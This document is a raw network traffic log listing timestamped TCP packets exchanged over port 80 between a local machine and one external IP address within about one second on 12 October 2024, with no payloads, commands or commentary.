Oct 12, 2024 14:17:08.709753036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709763050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709784985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709791899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709815025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709831953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709850073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709856033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709881067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709889889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709913015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709920883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709944010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709958076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709975958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709981918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710006952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710012913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710038900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710048914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710077047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710087061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710122108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710129976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710160971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710169077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710201979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710213900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710252047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710256100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710284948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710292101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710315943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710325003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710349083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710374117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710380077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710388899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710412025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710418940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710443020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710450888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710478067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710483074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710509062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710535049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710541964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710551977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710572958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710582018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710604906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710612059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710634947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710644007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710666895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710691929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710697889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710712910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710731030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710737944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710762024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710772038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710793018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710800886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710824966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710830927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710855961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710860968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710886955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710895061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710918903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710925102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710951090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710959911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.710983038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.710989952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711014986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711029053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711045980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711052895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711076975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711087942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711107969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711116076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711138964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711162090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711170912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711175919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711201906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711211920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711234093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711241007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711266041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711277008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711297989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711304903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711324930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711337090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711355925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711364031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711415052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711415052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711456060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711457968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711489916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711496115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711519957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711527109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711551905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711560011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711585045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711591005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711616993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711622953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711647034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711656094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711678982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711687088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711709976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711740971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711744070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711745024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711776018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711781025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711807966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.711813927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.711848021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.796900034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.796971083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797007084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797019005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797039032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797065020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797065020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797087908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797090054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797122955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797147989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797175884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797175884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797209024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797231913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797240973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797251940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797275066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797298908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797307014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797318935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797357082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797367096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797389984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797404051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797420979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797434092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797452927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797463894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797487974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797519922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797519922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797545910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797552109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797575951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797589064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797599077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797631025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797641993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797662973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797667027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797693968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797707081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797755003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797763109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797795057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797827005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797828913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797828913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797858000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797869921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797889948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797898054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797921896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797935963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797955036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.797964096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.797988892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798022032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798023939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798023939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798053026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798064947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798094988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798105001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798135996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798142910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798168898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798181057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798199892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798206091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798232079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798240900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798264980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798270941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798296928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798302889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798326969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798360109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798358917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798387051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798393011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798424959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798455954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798486948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798518896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798552990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798584938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798614025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798645973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798677921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798707962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798711061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798743010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798747063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798770905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798775911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798785925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798806906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798823118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798839092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798846960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798870087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798890114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798902035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798909903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798932076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798945904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798964977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.798974991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.798995972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.799005985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.799027920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.799036980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.799060106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.799071074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.799092054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.799107075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.799123049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.799130917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.799155951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.799185038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.799189091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.799202919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.799226046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.997934103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.002852917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190212965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190287113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190299988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190345049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190356016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190390110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190399885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190423965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190452099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190457106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190466881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190490007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190496922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190521002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190545082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190560102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190572023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190604925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190615892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190643072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190654039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190686941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190696955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190718889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190728903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190749884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190757036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190785885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190793991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190824986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190841913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190865993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190879107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190897942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190903902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190929890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190944910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190958023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190968037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.190989017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.190999031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191020966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191045046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191055059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191059113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191087008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191096067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191118002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191143036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191152096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191158056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191196918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191200972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191232920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191243887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191265106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191268921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191299915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191328049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191328049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191344023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191365957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191376925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191441059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191448927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191489935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191504002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191534996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191539049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191570997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191579103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191602945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191625118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191633940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191660881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191679001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191682100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191714048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191742897 CEST	49730	80	192.168.2.4	178.63.215.77
